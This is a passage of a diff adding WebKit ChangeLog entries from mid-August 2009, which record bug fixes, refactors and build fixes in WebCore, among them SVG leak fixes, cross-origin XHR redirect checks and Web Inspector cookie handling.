+        r47313 made TreeShared types start with a ref-count of 1, but SVGElementInstance was mistakenly
+        not updated to have a create method that adopted the initial reference.  This lead to the instances
+        of SVGElementInstance allocated by SVGUseElement being leaked.
+
+        * svg/SVGElementInstance.h:
+        (WebCore::SVGElementInstance::create):
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::buildPendingResource):
+        (WebCore::SVGUseElement::buildInstanceTree):
+        (WebCore::SVGUseElement::handleDeepUseReferencing):
+
+2009-08-17  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Some cleanup towards https://bugs.webkit.org/show_bug.cgi?id=13631
+        Page Cache should support pages with frames.
+
+        - Re-factor all remaining page cache code out of DocumentLoader, as CachedPage/CacheFrame loads
+          are solely the responsibility of FrameLoader.
+        - Enhance some page cache related Logging to help development.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::identifierForInitialRequest):
+
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::DocumentLoader):
+        * loader/DocumentLoader.h:
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::commitProvisionalLoad):
+        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
+        (WebCore::FrameLoader::loadProvisionalItemFromCachedPage):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::isLoadingFromCachedPage):
+
+2009-08-17  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Moved implementation of isAfterContent to RenderObject
+        (as inline method to avoid potential performance regressions).
+
+        BUG 28376 -  [Cleanup] isAfterContent() implemented twice, should be member of RenderObject
+        (https://bugs.webkit.org/show_bug.cgi?id=28376)
+
+        * rendering/RenderBox.cpp:
+        * rendering/RenderBox.h:
+        * rendering/RenderInline.cpp:
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isAfterContent):
+
+2009-08-17  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Assertion failure in WebCore::RenderHTMLCanvas::layout
+        https://bugs.webkit.org/show_bug.cgi?id=12052
+
+        Don't handle run-in if the element is not a block element.
+
+        Test: fast/runin/nonblock-runin.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::handleRunInChild):
+
+2009-08-17  Benjamin C Meyer  <benjamin.meyer@torchmobile.com>
+
+        Reviewed by Darin Adler.
+
+        Fix createImageData to raise the NOT_SUPPORTED_ERR exception when
+        either of the arguments are not finite.
+
+        According to
+        http://www.whatwg.org/specs/web-apps/current-work/#pixel-manipulation:
+        "If any of the arguments to createImageData() or getImageData() are
+        infinite or NaN, or if the createImageData()  method is invoked with
+        only one argument but that argument is null, the method must instead
+        raise a NOT_SUPPORTED_ERR  exception."
+
+        Test: http://philip.html5.org/tests/canvas/suite/tests/2d.imageData.create.nonfinite.html
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::createImageData):
+        * html/canvas/CanvasRenderingContext2D.h:
+        * html/canvas/CanvasRenderingContext2D.idl:
+
+2009-08-17  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Add a way to release the storage lock
+        https://bugs.webkit.org/show_bug.cgi?id=28411
+
+        Two scripts within the same origin that are accessing LocalStorage must not do
+        it simultaneously, according to the spec.  There are some cases, however, where
+        a script might want to override this behavior.  navigator.getStorageUpdates()
+        was added for this reason:
+        http://dev.w3.org/html5/spec/Overview.html#manually-releasing-the-storage-mutex
+
+        Add this function to navigator and hook it up to DOM Storage.
+
+        * page/Navigator.cpp:
+        (WebCore::Navigator::getStorageUpdates):
+        * page/Navigator.h:
+        * page/Navigator.idl:
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::unlock):
+        * storage/StorageNamespaceImpl.h:
+
+2009-08-17  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.
+
+        CFNetwork isn't present in the framework search path on Mac OS X so we can't directly include its headers.
+        We include CoreServices.h, the umbrella framework that contains CFNetwork, from the prefix header which
+        results in the CFNetwork headers being included on Mac OS X.  CoreServices.h doesn't include CFNetwork.h on
+        Windows though so we explicitly include this header from the prefix header when on Windows.
+
+        * WebCorePrefix.h:
+        * platform/network/cf/DNSCFNet.cpp: Remove #include that is no longer needed.
+
+2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+
+        Trying a better build fix (the previous one broke Leopard bots, although it did build for me).
+
+        * platform/network/cf/DNSCFNet.cpp: Include CFNetwork/CFNetwork.h instead.
+
+2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+
+        Trying to fix Windows build.
+
+        * platform/network/cf/DNSCFNet.cpp: Include CFNetwork/CFHost.h.
+
+2009-08-17  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Steve Falkenburg.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27323
+        Only add Cygwin to the path when it isn't already there.  This avoids
+        causing problems for people who purposefully have non-Cygwin versions of
+        executables like svn in front of the Cygwin ones in their paths.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/WebCoreGenerated.vcproj:
+
+2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28401
+        Add support for DNS prefetching with CFNetwork
+
+        This is just an optimization, no behavior change, so no tests.
+
+        * platform/network/cf/DNSCFNet.cpp:
+        (WebCore::clientCallback):
+        (WebCore::prefetchDNS):
+        Use async CFHostStartInfoResolution() for implementation.
+
+2009-08-17  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28313: Combine ThreadableLoaderOptions::crossOriginRequestPolicy and
+        ThreadableLoaderOptions::crossOriginRedirectPolicy since they are always set the same way.
+
+        Also, tightened up behavior of XMLHttpRequest with cross-origin redirects and access control. We have not implemented
+        redirects access control, so we should never redirect across origins. But in two edge cases, we were:
+
+        * Asynchronous XHR: Script on origin A requests resource from origin B. Server redirects (without sending access control
+          authorization headers) to a resource on origin A.
+        * Synchronous XHR: Script on origin A requests resource from origin B. Server redirects (without sending access control
+          authorization headers) to another resource on origin B (this time sending access control authorization headers).
+
+        Test: http/tests/xmlhttprequest/access-control-and-redirects.html
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::willSendRequest): Refactor redirect checking code into shared location.
+        (WebCore::DocumentThreadableLoader::loadRequest): Ditto.
+        (WebCore::DocumentThreadableLoader::isAllowedRedirect): Ditto.
+        * loader/DocumentThreadableLoader.h:
+        * loader/ThreadableLoader.h:
+        (WebCore::ThreadableLoaderOptions::ThreadableLoaderOptions): Remove ThreadableLoaderOptions::crossOriginRedirectPolicy.
+        * page/EventSource.cpp:
+        (WebCore::EventSource::connect): Ditto.
+        * workers/Worker.cpp: Ditto.
+        (WebCore::Worker::Worker): Ditto.
+        * workers/WorkerContext.cpp: Ditto.
+        (WebCore::WorkerContext::importScripts): Ditto.
+        * workers/WorkerScriptLoader.cpp:
+        (WebCore::WorkerScriptLoader::loadSynchronously): Ditto.
+        (WebCore::WorkerScriptLoader::loadAsynchronously): Ditto.
+        * workers/WorkerScriptLoader.h: 
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::createRequest): Ditto.
+
+2009-08-17  Adam Langley  <agl@google.com>
+
+        Reviewed by Dan Bernstein (relanding of r47157).
+
+        Fix a typo in platform/graphics/skia/PlatformContextSkia.cpp
+
+        https://bugs.webkit.org/show_bug.cgi?id=28172
+
+        This was originally fixed in r47157, however it triggered a bug in
+        Skia which caused Chromium Linux to fail layout tests in debug mode.
+        It was reverted in r47189 while we sorted it out.
+
+        The Skia bug was fixed in Skia's r321 [1] and rolled into Chromium in
+        Chromium's r23523. This is a reland of the original patch.
+
+        No new tests because it's a just typo fix.
+
+        [1] http://code.google.com/p/skia/source/detail?r=321
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintCommon):
+
+2009-08-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Protect ResourceHandle for g_file_query_info_async call, using the
+        same technique we already use for HTTP requests that take the soup
+        path.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::ResourceHandleInternal::~ResourceHandleInternal):
+        (WebCore::ResourceHandle::~ResourceHandle):
+        (WebCore::finishedCallback):
+        (WebCore::):
+
+2009-08-17  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION (r47255): MediaWiki's (including Wikipedia) navigation pane
+        appears below the main content
+        https://bugs.webkit.org/show_bug.cgi?id=28350
+
+        A particular version of the MediaWiki software detects WebKit through
+        user agent sniffing and imports a style sheet called KHTMLFixes.css,
+        which contains a single rule that was meant to work around some KHTML
+        bug, but currently has the sole effect of causing the float containing
+        the main article content to extend all the way to the left and thus push
+        down the left navigation pane.
+
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::setCSSStyleSheet): If site specific hacks are
+        enabled, check if the imported style sheet is the MediaWiki
+        KHTMLFixes.css. If so, remove the offending rule.
+
+2009-08-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Kevin Ollivier.
+
+        Correct crash when processing local cancelled requests.
+
+        No new tests. Existing fast/images/favicon-as-image.html
+        displays the problem.
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::writeCallback): Add check for m_cancelled after
+          performing local-file processing.
+        (WebCore::ResourceHandleManager::downloadTimerCallback): Add
+          check for m_cancelled after performing local-file processing.
+
+2009-08-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Reverts 47371, since it breaks GTK+.
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::setData):
+        * platform/image-decoders/ImageDecoder.cpp: Removed.
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::ImageDecoder):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::convertCMYKToRGBA):
+        (WebCore::convertRGBToRGBA):
+        (WebCore::JPEGImageDecoder::outputScanlines):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::rowAvailable):
+
+2009-08-17  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Allow image decoders to down-sample the image directly
+        to scaled output buffer. This can be enabled/disabled by
+        macro ENABLE(IMAGE_DECODER_DOWN_SAMPLING).
+        Only JPEG and PNG decoders are modified to support it now.
+        https://bugs.webkit.org/show_bug.cgi?id=28308
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::setData):
+        * platform/image-decoders/ImageDecoder.cpp: Added.
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::ImageDecoder):
+        (WebCore::ImageDecoder::setMaxNumPixels):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::convertCMYKToRGBA):
+        (WebCore::convertRGBToRGBA):
+        (WebCore::JPEGImageDecoder::outputScanlines):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        (WebCore::JPEGImageDecoder::setSize):
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::rowAvailable):
+
+2009-08-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix: fix float literals to avoid casting warnings.
+
+        * rendering/MediaControlElements.cpp:
+
+2009-08-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Use OwnPtrs for GraphicsLayers
+        https://bugs.webkit.org/show_bug.cgi?id=28399
+
+        Convert RenderLayerBacking and RenderLayerCompositor to use OwnPtrs
+        for their references to GraphicsLayers.
+
+        * platform/graphics/GraphicsLayer.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayer::create):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::RenderLayerBacking):
+        (WebCore::RenderLayerBacking::createGraphicsLayer):
+        (WebCore::RenderLayerBacking::destroyGraphicsLayer):
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        (WebCore::RenderLayerBacking::updateInternalHierarchy):
+        (WebCore::RenderLayerBacking::updateClippingLayers):
+        (WebCore::RenderLayerBacking::updateForegroundLayer):
+        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
+        * rendering/RenderLayerBacking.h:
+        (WebCore::RenderLayerBacking::graphicsLayer):
+        (WebCore::RenderLayerBacking::clippingLayer):
+        (WebCore::RenderLayerBacking::ancestorClippingLayer):
+        (WebCore::RenderLayerBacking::foregroundLayer):
+        (WebCore::RenderLayerBacking::parentForSublayers):
+        (WebCore::RenderLayerBacking::childForSuperlayers):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::~RenderLayerCompositor):
+        (WebCore::RenderLayerCompositor::rootPlatformLayer):
+        (WebCore::RenderLayerCompositor::didMoveOnscreen):
+        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
+        (WebCore::RenderLayerCompositor::destroyRootPlatformLayer):
+        * rendering/RenderLayerCompositor.h:
+
+2009-08-17  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Reset InjectedScript styles cache on document change.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28390
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::resetInjectedScript):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::setDocument):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript._reset):
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        * rendering/MediaControlElements.cpp: Removed unneeded include of CString.h,
+        resorted includes, renamed "doc" to "document" and fixed formatting.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Removed functions now unneeded due to use of Reflect to create
+        language bindings.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityParentForImageMap):
+        Get at usemap attribute directly.
+
+        * editing/DeleteButtonController.cpp:
+        (WebCore::DeleteButtonController::createDeletionUI):
+        Get at id attribute directly.
+        * editing/EditorCommand.cpp:
+        (WebCore::executeInsertHorizontalRule): Ditto.
+
+        * html/HTMLDocument.cpp:
+        (WebCore::HTMLDocument::dir): Get at dir attribute of body directly.
+        (WebCore::HTMLDocument::setDir): Ditto.
+
+        * html/HTMLElement.cpp: Deleted unused functions.
+        * html/HTMLElement.h: Ditto.
+
+        * html/HTMLImageElement.cpp: Deleted unused functions.
+        (WebCore::HTMLImageElement::alt): Changed to return const AtomicString&.
+        (WebCore::HTMLImageElement::addSubresourceAttributeURLs): Changed to
+        get at usemap attribute directly, but added a FIXME because although
+        it is what the old code did, it looks to not be entirely correct.
+
+        * html/HTMLImageElement.h: Deleted unused functions.
+
+        * rendering/HitTestResult.cpp:
+        (WebCore::HitTestResult::altDisplayString): Get at alt attribute directly.
+
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::imageMap): Get at usemap attribute directly.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::createGraphicsLayer): Get at id attribute
+        directly.
+        (WebCore::RenderLayerBacking::isSimpleContainerCompositingLayer): Removed
+        explicit HTMLNames namespace qualification.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode): Removed unneeded calls
+        to RefPtr::get.
+
+2009-08-17  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Discard DOM Node bindings on any document change.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28389
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::setDocument):
+
+2009-08-13  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Improve Cookie DataGrid to Show Hidden Data
+        https://bugs.webkit.org/show_bug.cgi?id=28269
+
+        * English.lproj/localizedStrings.js: DataGrid Headers "Name", "Value", "Size", ...
+        * WebCore.gypi: added missing files
+
+          Implemented Bindings for InspectorController.deleteCookie(name)
+
+        * inspector/InspectorBackend.idl:
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::cookies):
+        (WebCore::JSInspectorBackend::deleteCookie):
+
+          v8 Bindings Stubs
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+          Removed WebInspector.Cookie
+
+        * inspector/front-end/Cookie.js: Removed.
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/WebKit.qrc:
+
+          Improved DataGrid and Kept Fallback Behavior for Platforms that don't
+          yet provide access to raw cookies.
+
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.get statusBarItems):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype.buildCookies):
+        (WebInspector.CookieItemsView.prototype.dataGridForCookies):
+        (WebInspector.CookieItemsView.prototype.fallbackUpdate.callback):
+        (WebInspector.CookieItemsView.prototype.fallbackUpdate):
+        (WebInspector.CookieItemsView.prototype.fallbackBuildCookiesFromString):
+        (WebInspector.CookieItemsView.prototype.fallbackDataGridForCookies):
+        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
+
+          Interaction with the page through Injected Script (for fallback behavior)
+
+        * inspector/front-end/DOMAgent.js:
+        (InspectorController.getCookies):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.setStyleProperty): style fix
+        (InjectedScript.getCookies):
+
+          Allow alignment of text inside DataGrids.
+
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid):
+        (WebInspector.DataGridNode.prototype.createCell):
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage):
+        * inspector/front-end/inspector.css:
+
+          Added deleteCookie(., ., String name)
+          Modified getRawCookies to return a bool to know if its implemented
+
+        * platform/CookieJar.h:
+
+
+          Implemented deleteCookie for Macs
+
+        * platform/mac/CookieJar.mm:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+
+          Stub Implementations for Other Platforms
+
+        * platform/haiku/CookieJarHaiku.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/network/curl/CookieJarCurl.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/network/win/CookieJarWin.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+
+2009-08-17  Adam Treat  <adam.treat@torchmobile.com>
+
+        Blind build fix for Leopard.
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::adjustLineToPixelBoundaries):
+
+2009-08-13  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Style fixes based on cpp_style.py and WebKit Style guide for
+        GraphicsContextCG.cpp
+
+        https://bugs.webkit.org/show_bug.cgi?id=28268
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::drawEllipse):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::applyStrokePattern):
+        (WebCore::GraphicsContext::drawPath):
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::clipToImageBuffer):
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::GraphicsContext::roundToDevicePixels):
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::setURLForRect):
+        (WebCore::GraphicsContext::setImageInterpolationQuality):
+        (WebCore::GraphicsContext::imageInterpolationQuality):
+        (WebCore::GraphicsContext::setPlatformTextDrawingMode):
+        (WebCore::GraphicsContext::setCompositeOperation):
+
+2009-08-13  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Style fixes based on cpp_style.py and WebKit Style guide for
+        GraphicsContext.cpp/h, GraphicsContextCairo.cpp and GraphicsContextQt.cpp.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28268
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::save):
+        (WebCore::GraphicsContext::restore):
+        (GraphicsContext::drawText):
+        (GraphicsContext::initFocusRing):
+        (GraphicsContext::focusRingBoundingRect):
+        (GraphicsContext::drawImage):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::toCairoOperator):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Change HTMLAreaElement to use OwnArrayPtr
+        https://bugs.webkit.org/show_bug.cgi?id=28386
+
+        * html/HTMLAreaElement.cpp:
+        (WebCore::HTMLAreaElement::HTMLAreaElement): Removed unneeded initializer.
+        (WebCore::HTMLAreaElement::~HTMLAreaElement): Removed unneeded delete call.
+        (WebCore::HTMLAreaElement::parseMappedAttribute): Use the set function
+        instead of deletion followed by assignment.
+        * html/HTMLAreaElement.h: Use OwnArrayPtr.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Fix Windows build.
+
+        * dom/make_names.pl: Add back cast to (void*) needed on Windows.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Move noResize from HTMLFrameElementBase to HTMLFrameElement
+        https://bugs.webkit.org/show_bug.cgi?id=28384
+
+        * html/HTMLFrameElement.cpp:
+        (WebCore::HTMLFrameElement::HTMLFrameElement): Initialize m_noResize.
+        (WebCore::HTMLFrameElement::parseMappedAttribute): Set m_noResize to true
+        here if noresizeAttr is changed. This code was moved here from
+        HTMLFrameElementBase, but I added some FIXME comments.
+        (WebCore::HTMLFrameElement::setNoResize): Set the attribute based on
+        boolean argument. Moved here from HTMLFrameElementBase.
+
+        * html/HTMLFrameElement.h: Moved noResize, setNoResize, and m_noResize
+        here from HTMLFrameElementBase.
+
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::HTMLFrameElementBase): Removed m_noResize.
+        (WebCore::HTMLFrameElementBase::parseMappedAttribute): Removed code to parse
+        noresizeAttr.
+
+        * html/HTMLFrameElementBase.h: Removed noResize, setNoResize, and m_noResize.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Tweak HTMLFrameElementBase so that m_URL can be private
+        https://bugs.webkit.org/show_bug.cgi?id=28385
+
+        * html/HTMLFrameElement.cpp:
+        (WebCore::HTMLFrameElement::rendererIsNeeded): Removed m_URL argument.
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::isURLAllowed): Use m_URL instead of
+        taking an argument.
+        (WebCore::HTMLFrameElementBase::openURL): Removed m_URL argument.
+        * html/HTMLFrameElementBase.h: Removed argument from isURLAllowed function.
+        * html/HTMLIFrameElement.cpp:
+        (WebCore::HTMLIFrameElement::rendererIsNeeded): Removed m_URL argument.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        HTMLViewSourceDocument should use smart pointers
+        https://bugs.webkit.org/show_bug.cgi?id=28378
+
+        * html/HTMLViewSourceDocument.cpp:
+        (WebCore::HTMLViewSourceDocument::HTMLViewSourceDocument): Don't initialize
+        pointers any more since RefPtr starts 0 by default.
+        (WebCore::HTMLViewSourceDocument::createContainingTable): Use more specific
+        types for local variables.
+        (WebCore::HTMLViewSourceDocument::addSpanWithClassName): Return a PassRefPtr,
+        and use a RefPtr of a more specific type for a local variable.
+        (WebCore::HTMLViewSourceDocument::addLine): Use more specific types for local
+        variables, and use RefPtr as well.
+        (WebCore::HTMLViewSourceDocument::addLink): Return a PassRefPtr, and use a
+        RefPtr of a more specific type for a local variable.
+
+        * html/HTMLViewSourceDocument.h: Change return types to PassRefPtr and
+        data member types to RefPtr.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        DOM attribute getter/setter functions should use const AtomicString& type
+        https://bugs.webkit.org/show_bug.cgi?id=25425
+
+        Convert 4 more classes. These are classes I am going to make other changes
+        to soon, so it's good to have this use of Reflect in the IDL out of the way.
+
+        * html/HTMLEmbedElement.idl: Use Reflect for many attributes.
+        * html/HTMLFrameElement.idl: Ditto.
+        * html/HTMLIFrameElement.idl: Ditto.
+        * html/HTMLObjectElement.idl: Ditto.
+
+2009-08-17  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Script to create element factory needs changes to accommodate calling create
+        https://bugs.webkit.org/show_bug.cgi?id=28379
+
+        * dom/make_names.pl: Tweak formatting. Remove lots of unneeded quotes
+        around names used inside {}. Added new createWithNew property for tags
+        that makes the factory use a create function instead of calling new.
+        Renamed functions with initialize in their name to have default in their
+        name, since they return an array full of default values and don't themselves
+        initialize anything.
+
+2009-08-16  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        StyledElement should use ASCIICType instead of having its own toHex function
+        https://bugs.webkit.org/show_bug.cgi?id=28377
+
+        * dom/StyledElement.cpp:
+        (WebCore::StyledElement::addCSSColor): Use isASCIIHexDigit and toASCIIHexValue.
+
+2009-08-16  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        execCommand("InsertHorizontalRule") inserts a broken <hr> element
+        https://bugs.webkit.org/show_bug.cgi?id=28375
+
+        * editing/EditorCommand.cpp:
+        (WebCore::executeInsertHorizontalRule): Create an HTMLHRElement
+        instead of just an HTMLElement.
+
+2009-08-16  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] <option> element & 'onpick' events - history navigation is broken
+        https://bugs.webkit.org/show_bug.cgi?id=28371
+
+        After selecting an option element with an 'onpick' event associated with a 'go' task,
+        the navigation is executed. When going back in history, the same 'onpick' event is fired
+        again. Fix that problem, add wml/option-element-onpick-recursion.html covering the bug.
+
+        Test: wml/option-element-onpick-recursion.html
+
+        * wml/WMLOptionElement.cpp:
+        (WebCore::WMLOptionElement::handleIntrinsicEventIfNeeded):
+        * wml/WMLSelectElement.cpp:
+        (WebCore::WMLSelectElement::WMLSelectElement):
+        (WebCore::WMLSelectElement::selectInitialOptions):
+        * wml/WMLSelectElement.h:
+        (WebCore::WMLSelectElement::initialized):
+
+2009-08-16  Anthony Ricaud  <rik@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector Resource filtering: keyboard Navigation always uses ALL resources
+        https://bugs.webkit.org/show_bug.cgi?id=28231
+        
+        Determine if a resource is selectable on user action.
+        
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.get selectable):
+
+2009-08-16  David Kilzer  <ddkilzer@apple.com>
+
+        <http://webkit.org/b/28355> Replace MAX()/MIN() macros with type-safe std::max()/min() templates
+
+        Reviewed by Dan Bernstein.
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (AXAttributeStringSetSpelling): Changed MIN() to min().
+        * platform/graphics/mac/FontMacATSUI.mm:
+        (WebCore::Font::selectionRectForComplexText): Changed MAX() to
+        max() and MIN() to min().
+        (WebCore::Font::floatWidthForComplexText): Ditto.
+        * platform/graphics/mac/SimpleFontDataMac.mm: Added using
+        std::max statement.
+        (WebCore::SimpleFontData::platformInit): Changed MAX() to max().
+        * platform/text/mac/TextCodecMac.cpp:
+        (WebCore::TextCodecMac::decode): Changed MIN() to min().
+
+2009-08-16  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Cleanup WMLIntrinsicEventHandling code
